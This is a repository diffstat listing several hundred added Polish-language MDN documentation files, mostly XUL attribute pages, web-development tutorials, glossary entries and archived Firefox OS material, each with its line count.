aboutsummaryrefslogtreecommitdiff
path: root/files/pl
diff options
context:
space:
mode:
Diffstat (limited to 'files/pl')
-rw-r--r--files/pl/_redirects.txt2683
-rw-r--r--files/pl/_wikihistory.json11772
-rw-r--r--files/pl/aktualizacja_aplikacji_internetowych_dla_firefoksa_3/index.html93
-rw-r--r--files/pl/aktualizacja_rozszerzeń_dla_firefoksa_3/index.html145
-rw-r--r--files/pl/aktualizacja_rozszerzeń_do_firefoksa_2/index.html46
-rw-r--r--files/pl/api_dostępu_do_danych_z_kanałów/index.html170
-rw-r--r--files/pl/api_preferencji/index.html23
-rw-r--r--files/pl/archive/add-ons/add-on_sdk/tools/index.html158
-rw-r--r--files/pl/archive/add-ons/add-on_sdk/tools/jpm/index.html883
-rw-r--r--files/pl/archive/add-ons/api_przechowywania_sesji/index.html85
-rw-r--r--files/pl/archive/add-ons/index.html8
-rw-r--r--files/pl/archive/add-ons/wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach/index.html58
-rw-r--r--files/pl/archive/b2g_os/add-ons/index.html58
-rw-r--r--files/pl/archive/b2g_os/firefox_os_wstępne_budowanie/index.html381
-rw-r--r--files/pl/archive/b2g_os/index.html86
-rw-r--r--files/pl/archive/b2g_os/instalacja_firefox_os/index.html72
-rw-r--r--files/pl/archive/b2g_os/instalacja_firefox_os/streszczenie_procesu_budowania_firefox_os/index.html149
-rw-r--r--files/pl/archive/b2g_os/phone_guide/index.html53
-rw-r--r--files/pl/archive/b2g_os/phone_guide/płomień/index.html384
-rw-r--r--files/pl/archive/b2g_os/phone_guide/zte_open_c/index.html82
-rw-r--r--files/pl/archive/b2g_os/platform/gaia/index.html69
-rw-r--r--files/pl/archive/b2g_os/platform/index.html81
-rw-r--r--files/pl/archive/b2g_os/preparing_for_your_first_b2g_build/index.html135
-rw-r--r--files/pl/archive/b2g_os/simulator/index.html47
-rw-r--r--files/pl/archive/b2g_os/using_the_app_manager/index.html274
-rw-r--r--files/pl/archive/index.html21
-rw-r--r--files/pl/archive/marketplace/index.html57
-rw-r--r--files/pl/archive/meta_docs/index.html12
-rw-r--r--files/pl/archive/meta_docs/mdn_page_layout_guide/index.html8
-rw-r--r--files/pl/archive/misc_top_level/index.html8
-rw-r--r--files/pl/archive/misc_top_level/obrazki,_tabele_i_tajemnicze_dziury/index.html114
-rw-r--r--files/pl/archive/mozilla/drag_and_drop/index.html142
-rw-r--r--files/pl/archive/mozilla/firefox/index.html8
-rw-r--r--files/pl/archive/mozilla/firefox/zastosowanie_mikroformatów/index.html145
-rw-r--r--files/pl/archive/mozilla/index.html10
-rw-r--r--files/pl/archive/mozilla/venkman/index.html33
-rw-r--r--files/pl/archive/mozilla/xbl/index.html39
-rw-r--r--files/pl/archive/mozilla/xulrunner/index.html80
-rw-r--r--files/pl/archive/rss/elementy/index.html148
-rw-r--r--files/pl/archive/rss/elementy/title/index.html133
-rw-r--r--files/pl/archive/rss/encje/index.html1380
-rw-r--r--files/pl/archive/rss/index.html18
-rw-r--r--files/pl/archive/rss/moduły/index.html16
-rw-r--r--files/pl/archive/rss/moduły/slash/elementy/index.html85
-rw-r--r--files/pl/archive/rss/moduły/slash/index.html70
-rw-r--r--files/pl/archive/rss/na_początek/czym_jest_rss/index.html227
-rw-r--r--files/pl/archive/rss/na_początek/dlaczego_używamy_rss/index.html22
-rw-r--r--files/pl/archive/rss/na_początek/index.html54
-rw-r--r--files/pl/archive/rss/na_początek/jak_działa_rss/index.html16
-rw-r--r--files/pl/archive/rss/na_początek/syndykacja/index.html76
-rw-r--r--files/pl/archive/rss/wersje/0.90/index.html85
-rw-r--r--files/pl/archive/rss/wersje/0.91/index.html18
-rw-r--r--files/pl/archive/rss/wersje/index.html31
-rw-r--r--files/pl/archive/standardy_www/index.html67
-rw-r--r--files/pl/archive/standardy_www/poprawne_użycie_tytułów_w_zewnętrznych_arkuszach_stylów/index.html40
-rw-r--r--files/pl/archive/standardy_www/stylizowanie_skrótów_i_akronimów/index.html44
-rw-r--r--files/pl/archive/standardy_www/wybór_zgodności_ze_standardami_zamiast_praktyk_własnościowych/index.html104
-rw-r--r--files/pl/archive/web/index.html12
-rw-r--r--files/pl/archive/web/xforms/index.html68
-rw-r--r--files/pl/archive/web/xforms/inne_zasoby/index.html16
-rw-r--r--files/pl/atrybuty_elementu_xul/index.html509
-rw-r--r--files/pl/bezpieczeństwo_w_firefoksie_2/index.html36
-rw-r--r--files/pl/bezpieczny_dostęp_do_składników_dom_z_poziomu_chrome/index.html89
-rw-r--r--files/pl/bugzilla/index.html27
-rw-r--r--files/pl/chrome/index.html24
-rw-r--r--files/pl/co_nowego_w_deer_park_alpha/index.html262
-rw-r--r--files/pl/components.utils.reporterror/index.html32
-rw-r--r--files/pl/components.utils.sandbox/index.html8
-rw-r--r--files/pl/components.utils/index.html35
-rw-r--r--files/pl/często_zadawane_pytania_dotyczące_rozszerzeń/index.html68
-rw-r--r--files/pl/dhtml/index.html37
-rw-r--r--files/pl/dodawanie_dostawców_danych_ochrony_przed_phishingiem/index.html47
-rw-r--r--files/pl/dodawanie_preferencji_do_rozszerzenia/index.html288
-rw-r--r--files/pl/dodawanie_wyszukiwarek_z_poziomu_stron_www/index.html57
-rw-r--r--files/pl/dokumentacja_gecko_dom/index.html85
-rw-r--r--files/pl/dokumentacja_gecko_dom/przedmowa/index.html46
-rw-r--r--files/pl/dokumentacja_gecko_dom/przykłady_użycia_dom/index.html354
-rw-r--r--files/pl/dokumentacja_gecko_dom/wprowadzenie/index.html171
-rw-r--r--files/pl/dom/dispatchevent_-_przykład/index.html33
-rw-r--r--files/pl/dom/element.onkeydown/index.html24
-rw-r--r--files/pl/dom/index.html65
-rw-r--r--files/pl/dom_i_javascript/index.html86
-rw-r--r--files/pl/dostosowanie_aplikacji_xul_do_firefoksa_1.5/index.html35
-rw-r--r--files/pl/dynamiczne_zmiany_interfejsu_użytkownika_bazującego_na_xul-u/index.html81
-rw-r--r--files/pl/dziesiec_lat_mdn/index.html43
-rw-r--r--files/pl/e4x/index.html39
-rw-r--r--files/pl/firefox_-_potrzeba_wolności/index.html21
-rw-r--r--files/pl/firefox_3_dla_programistów/index.html279
-rw-r--r--files/pl/fragmenty_kodu/canvas/index.html50
-rw-r--r--files/pl/fragmenty_kodu/ciasteczka/index.html35
-rw-r--r--files/pl/fragmenty_kodu/index.html73
-rw-r--r--files/pl/fragmenty_kodu/js_xpcom/index.html125
-rw-r--r--files/pl/fragmenty_kodu/obserwator_pobierania_danych/index.html59
-rw-r--r--files/pl/fragmenty_kodu/okna/index.html86
-rw-r--r--files/pl/fragmenty_kodu/różne/index.html103
-rw-r--r--files/pl/fragmenty_kodu/uruchamianie_aplikacji/index.html59
-rw-r--r--files/pl/fragmenty_kodu/wczytywanie_strony/index.html29
-rw-r--r--files/pl/fragmenty_kodu/xml/index.html25
-rw-r--r--files/pl/games/tutorials/2d_breakout_game_pure_javascript/index.html58
-rw-r--r--files/pl/games/tutorials/2d_breakout_game_pure_javascript/odbijanie_od_scian/index.html111
-rw-r--r--files/pl/games/tutorials/2d_breakout_game_pure_javascript/posusz_pilka/index.html147
-rw-r--r--files/pl/games/tutorials/2d_breakout_game_pure_javascript/stworz_element_canvas_i_rysuj_na_nim/index.html118
-rw-r--r--files/pl/games/tutorials/2d_breakout_game_pure_javascript/wykrywanie_kolizji/index.html128
-rw-r--r--files/pl/games/tutorials/index.html27
-rw-r--r--files/pl/gecko/index.html62
-rw-r--r--files/pl/gecko_sdk/index.html112
-rw-r--r--files/pl/generowanie_guid/index.html78
-rw-r--r--files/pl/glossary/404/index.html15
-rw-r--r--files/pl/glossary/abstrakcja/index.html55
-rw-r--r--files/pl/glossary/accessibility/index.html32
-rw-r--r--files/pl/glossary/accessibility_tree/index.html41
-rw-r--r--files/pl/glossary/algorithm/index.html34
-rw-r--r--files/pl/glossary/api/index.html31
-rw-r--r--files/pl/glossary/argument/index.html22
-rw-r--r--files/pl/glossary/arpanet/index.html14
-rw-r--r--files/pl/glossary/array/index.html30
-rw-r--r--files/pl/glossary/ascii/index.html17
-rw-r--r--files/pl/glossary/boolean/index.html54
-rw-r--r--files/pl/glossary/buffer/index.html16
-rw-r--r--files/pl/glossary/chrome/index.html12
-rw-r--r--files/pl/glossary/computer_programming/index.html17
-rw-r--r--files/pl/glossary/cookie/index.html18
-rw-r--r--files/pl/glossary/doctype/index.html28
-rw-r--r--files/pl/glossary/dom/index.html29
-rw-r--r--files/pl/glossary/firefox_os/index.html23
-rw-r--r--files/pl/glossary/hipertekst/index.html26
-rw-r--r--files/pl/glossary/hoisting/index.html64
-rw-r--r--files/pl/glossary/html/index.html51
-rw-r--r--files/pl/glossary/ietf/index.html19
-rw-r--r--files/pl/glossary/index.html27
-rw-r--r--files/pl/glossary/iso/index.html20
-rw-r--r--files/pl/glossary/javascript/index.html41
-rw-r--r--files/pl/glossary/klasa/index.html19
-rw-r--r--files/pl/glossary/kryptografia/index.html13
-rw-r--r--files/pl/glossary/metadata/index.html25
-rw-r--r--files/pl/glossary/mozilla_firefox/index.html22
-rw-r--r--files/pl/glossary/obiekt/index.html20
-rw-r--r--files/pl/glossary/przegladarka/index.html27
-rw-r--r--files/pl/glossary/pusty_element/index.html34
-rw-r--r--files/pl/glossary/semantyka/index.html97
-rw-r--r--files/pl/glossary/sgml/index.html20
-rw-r--r--files/pl/glossary/slug/index.html15
-rw-r--r--files/pl/glossary/truthy/index.html34
-rw-r--r--files/pl/glossary/utf-8/index.html23
-rw-r--r--files/pl/glossary/w3c/index.html26
-rw-r--r--files/pl/glossary/webgl/index.html34
-rw-r--r--files/pl/glossary/world_wide_web/index.html41
-rw-r--r--files/pl/gry/index.html84
-rw-r--r--files/pl/html/html5/index.html172
-rw-r--r--files/pl/ikony_okna/index.html19
-rw-r--r--files/pl/istotne_błędy_poprawione_w_firefoksie_3/index.html34
-rw-r--r--files/pl/javaxpcom/index.html28
-rw-r--r--files/pl/json/index.html59
-rw-r--r--files/pl/konsola_błędów/index.html23
-rw-r--r--files/pl/learn/accessibility/index.html62
-rw-r--r--files/pl/learn/accessibility/what_is_accessibility/index.html193
-rw-r--r--files/pl/learn/common_questions/index.html135
-rw-r--r--files/pl/learn/common_questions/jak_dziala_internet/index.html100
-rw-r--r--files/pl/learn/css/css_layout/flexbox/index.html340
-rw-r--r--files/pl/learn/css/css_layout/index.html57
-rw-r--r--files/pl/learn/css/howto/generated_content/index.html140
-rw-r--r--files/pl/learn/css/howto/index.html86
-rw-r--r--files/pl/learn/css/index.html52
-rw-r--r--files/pl/learn/getting_started_with_the_web/css_basics/index.html272
-rw-r--r--files/pl/learn/getting_started_with_the_web/dealing_with_files/index.html95
-rw-r--r--files/pl/learn/getting_started_with_the_web/html_basics/index.html223
-rw-r--r--files/pl/learn/getting_started_with_the_web/index.html59
-rw-r--r--files/pl/learn/getting_started_with_the_web/installing_basic_software/index.html80
-rw-r--r--files/pl/learn/getting_started_with_the_web/jak_dziala_siec/index.html110
-rw-r--r--files/pl/learn/getting_started_with_the_web/javascript_basics/index.html395
-rw-r--r--files/pl/learn/getting_started_with_the_web/publishing_your_website/index.html124
-rw-r--r--files/pl/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html99
-rw-r--r--files/pl/learn/html/howto/index.html155
-rw-r--r--files/pl/learn/html/howto/use_data_attributes/index.html82
-rw-r--r--files/pl/learn/html/index.html50
-rw-r--r--files/pl/learn/html/introduction_to_html/getting_started/index.html763
-rw-r--r--files/pl/learn/html/introduction_to_html/index.html67
-rw-r--r--files/pl/learn/index.html141
-rw-r--r--files/pl/learn/javascript/asynchronous/index.html67
-rw-r--r--files/pl/learn/javascript/asynchronous/introducing/index.html279
-rw-r--r--files/pl/learn/javascript/building_blocks/index.html44
-rw-r--r--files/pl/learn/javascript/client-side_web_apis/index.html37
-rw-r--r--files/pl/learn/javascript/index.html78
-rw-r--r--files/pl/learn/javascript/obiekty/index.html47
-rw-r--r--files/pl/learn/javascript/pierwsze_kroki/a_first_splash/index.html687
-rw-r--r--files/pl/learn/javascript/pierwsze_kroki/co_poszlo_nie_tak/index.html257
-rw-r--r--files/pl/learn/javascript/pierwsze_kroki/index.html61
-rw-r--r--files/pl/learn/javascript/pierwsze_kroki/math/index.html455
-rw-r--r--files/pl/learn/javascript/pierwsze_kroki/what_is_javascript/index.html342
-rw-r--r--files/pl/learn/javascript/pierwsze_kroki/zmienne/index.html453
-rw-r--r--files/pl/learn/server-side/django/index.html70
-rw-r--r--files/pl/learn/server-side/express_nodejs/development_environment/index.html411
-rw-r--r--files/pl/learn/server-side/express_nodejs/index.html70
-rw-r--r--files/pl/learn/server-side/express_nodejs/introduction/index.html538
-rw-r--r--files/pl/learn/server-side/express_nodejs/skeleton_website/index.html528
-rw-r--r--files/pl/learn/server-side/express_nodejs/szkolenie_aplikacja_biblioteka/index.html89
-rw-r--r--files/pl/learn/server-side/index.html59
-rw-r--r--files/pl/learn/tools_and_testing/client-side_javascript_frameworks/index.html147
-rw-r--r--files/pl/learn/tools_and_testing/index.html48
-rw-r--r--files/pl/lista_komponentów_xpcom/index.html19
-rw-r--r--files/pl/lokalizacja/index.html66
-rw-r--r--files/pl/lokalizacja_opisu_rozszerzenia/index.html91
-rw-r--r--files/pl/lokalizacja_rozszerzenia/index.html103
-rw-r--r--files/pl/manifesty_instalacji/index.html444
-rw-r--r--files/pl/mdn/contribute/feedback/index.html48
-rw-r--r--files/pl/mdn/contribute/getting_started/index.html130
-rw-r--r--files/pl/mdn/contribute/howto/budowa_dany_edycja_artykuł/index.html66
-rw-r--r--files/pl/mdn/contribute/howto/create_an_mdn_account/index.html41
-rw-r--r--files/pl/mdn/contribute/howto/create_and_edit_pages/index.html179
-rw-r--r--files/pl/mdn/contribute/howto/do_a_technical_review/index.html49
-rw-r--r--files/pl/mdn/contribute/howto/index.html13
-rw-r--r--files/pl/mdn/contribute/howto/set_the_summary_for_a_page/index.html50
-rw-r--r--files/pl/mdn/contribute/howto/tag/index.html376
-rw-r--r--files/pl/mdn/contribute/howto/tag_javascript_pages/index.html75
-rw-r--r--files/pl/mdn/contribute/index.html92
-rw-r--r--files/pl/mdn/contribute/localize/index.html33
-rw-r--r--files/pl/mdn/contribute/localize/localization_projects/index.html309
-rw-r--r--files/pl/mdn/contribute/localize/translating_pages/index.html40
-rw-r--r--files/pl/mdn/contribute/persona_sign-in/index.html26
-rw-r--r--files/pl/mdn/guidelines/index.html20
-rw-r--r--files/pl/mdn/guidelines/style_guide/index.html556
-rw-r--r--files/pl/mdn/index.html32
-rw-r--r--files/pl/mdn/kuma/index.html25
-rw-r--r--files/pl/mdn/user_guide/index.html7
-rw-r--r--files/pl/midas/index.html330
-rw-r--r--files/pl/midas/security_preferences/index.html63
-rw-r--r--files/pl/miejsca/index.html67
-rw-r--r--files/pl/międzynarodowe_pismo_w_xul_javascript/index.html35
-rw-r--r--files/pl/moduły_javascript/index.html25
-rw-r--r--files/pl/motywy/index.html74
-rw-r--r--files/pl/mozilla/add-ons/amo/index.html15
-rw-r--r--files/pl/mozilla/add-ons/amo/policy/index.html20
-rw-r--r--files/pl/mozilla/add-ons/index.html90
-rw-r--r--files/pl/mozilla/add-ons/sdk/index.html113
-rw-r--r--files/pl/mozilla/add-ons/thunderbird/index.html135
-rw-r--r--files/pl/mozilla/add-ons/webextensions/api/index.html61
-rw-r--r--files/pl/mozilla/add-ons/webextensions/api/privacy/index.html72
-rw-r--r--files/pl/mozilla/add-ons/webextensions/index.html125
-rw-r--r--files/pl/mozilla/add-ons/webextensions/manifest.json/description/index.html40
-rw-r--r--files/pl/mozilla/add-ons/webextensions/manifest.json/index.html105
-rw-r--r--files/pl/mozilla/add-ons/webextensions/manifest.json/manifest_version/index.html41
-rw-r--r--files/pl/mozilla/add-ons/webextensions/manifest.json/name/index.html40
-rw-r--r--files/pl/mozilla/add-ons/webextensions/manifest.json/version/index.html45
-rw-r--r--files/pl/mozilla/add-ons/webextensions/pierwsze_kroki_z_web-ext/index.html296
-rw-r--r--files/pl/mozilla/add-ons/webextensions/twój_pierwszy_webextension/index.html152
-rw-r--r--files/pl/mozilla/developer_guide/index.html153
-rw-r--r--files/pl/mozilla/developer_guide/mozilla-central/index.html15
-rw-r--r--files/pl/mozilla/developer_guide/source_code/index.html49
-rw-r--r--files/pl/mozilla/firefox/developer_edition/index.html56
-rw-r--r--files/pl/mozilla/firefox/index.html63
-rw-r--r--files/pl/mozilla/firefox/multiprocess_firefox/index.html85
-rw-r--r--files/pl/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html23
-rw-r--r--files/pl/mozilla/firefox/releases/1.5/index.html157
-rw-r--r--files/pl/mozilla/firefox/releases/2/index.html156
-rw-r--r--files/pl/mozilla/firefox/releases/3/index.html273
-rw-r--r--files/pl/mozilla/firefox/releases/index.html12
-rw-r--r--files/pl/mozilla/firefox_for_android/index.html64
-rw-r--r--files/pl/mozilla/firefox_for_android_clone/index.html66
-rw-r--r--files/pl/mozilla/index.html11
-rw-r--r--files/pl/mozilla/javascript_code_modules/index.html98
-rw-r--r--files/pl/mozilla/javascript_code_modules/zastosowanie_modułów_javascript/index.html86
-rw-r--r--files/pl/mozilla/javascript_tips/index.html110
-rw-r--r--files/pl/mozilla/localization/co_każdy_tłumacz_mozilli_powinien_wiedzieć/index.html102
-rw-r--r--files/pl/mozilla/localization/index.html21
-rw-r--r--files/pl/mozilla/mobile/index.html32
-rw-r--r--files/pl/mozilla/mobile/viewport_meta_tag/index.html97
-rw-r--r--files/pl/mozilla/persona/branding/index.html43
-rw-r--r--files/pl/mozilla/persona/index.html156
-rw-r--r--files/pl/mozilla/preferences/index.html68
-rw-r--r--files/pl/mozilla/projects/crash_reporting/index.html47
-rw-r--r--files/pl/mozilla/projects/crash_reporting/wyszukiwanie_crash_reports/index.html250
-rw-r--r--files/pl/mozilla/projects/index.html14
-rw-r--r--files/pl/mozilla/projects/mozmill/index.html52
-rw-r--r--files/pl/mozilla/projects/nss/index.html198
-rw-r--r--files/pl/mozilla/projects/nss/probka_kodu_nss/index.html22
-rw-r--r--files/pl/mozilla/projects/pzbo/index.html15
-rw-r--r--files/pl/mozilla/rejestracja_chrome/index.html129
-rw-r--r--files/pl/mozilla/tech/index.html17
-rw-r--r--files/pl/mozilla/tech/xpcom/language_bindings/index.html25
-rw-r--r--files/pl/mozilla/tech/xpcom/reference/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/action/index.html95
-rw-r--r--files/pl/mozilla/tech/xul/arrowscrollbox/index.html184
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/accessible/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/accesskey/index.html32
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/afterselected/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/align/index.html33
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/allownegativeassertions/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/alternatingbackground/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/alwaysopenpopup/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/attribute/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autocheck/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autocompleteenabled/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autocompletepopup/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autocompletesearch/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autocompletesearchparam/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autofill/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autofillaftermatch/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/autoscroll/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/beforeselected/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/browser.type/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/button.type/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyaccept/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonaccesskeycancel/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonaccesskeydisclosure/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra1/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra2/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyhelp/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonalign/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttondir/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttondisabledaccept/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonlabelaccept/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonlabelcancel/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonlabeldisclosure/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonlabelextra1/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonlabelextra2/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonlabelhelp/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonorient/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttonpack/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/buttons/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/checked/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/checkstate/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/class/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/closebutton/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/coalesceduplicatearcs/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/collapse/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/collapsed/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/color/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/colorpicker.type/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/cols/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/command/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/container/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/containment/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/contentcontextmenu/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/contenttooltip/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/contextmenu/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/control/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/crop/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/curpos/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/current/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/currentset/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/customindex/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/customizable/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/datepicker.type/index.html38
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/datepicker.value/index.html30
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/default/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/defaultbutton/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/defaultset/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/description/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/dir/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disableautocomplete/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disableautoselect/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disableclose/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disabled/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disablehistory/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disablekeynavigation/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/disablesecurity/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/dlgtype/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/dragging/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/editable/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/editor.type/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/editortype/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/element/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/empty/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/enablecolumndrag/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/enablehistory/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/equalsize/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/eventnode/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/first-tab/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/firstdayofweek/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/firstpage/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/flags/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/flex/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/focused/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/grippyhidden/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/grippytooltiptext/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/group/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/handlectrlpageupdown/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/handlectrltab/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/height/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/helpuri/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/hidden/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/hidechrome/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/hidecolumnpicker/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/hideheader/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/hideseconds/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/homepage/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/href/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/icon/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/id/index.html37
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ignoreblurwhilesearching/index.html12
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ignoreincolumnpicker/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ignorekeys/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/image/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/increment/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/index.html274
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/inputtooltiptext/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/insertafter/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/insertbefore/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/instantapply/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/inverted/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/key/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/keycode/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/keytext/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/label.value/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/label/index.html32
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/last-tab/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/lastpage/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/lastselected/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/left/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/listcell.type/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/listitem.type/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/max/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/maxheight/index.html13
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/maxlength/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/maxpos/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/maxrows/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/maxwidth/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/menu/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/menuitem.key/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/menuitem.name/index.html39
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/menuitem.type/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/min/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/minheight/index.html17
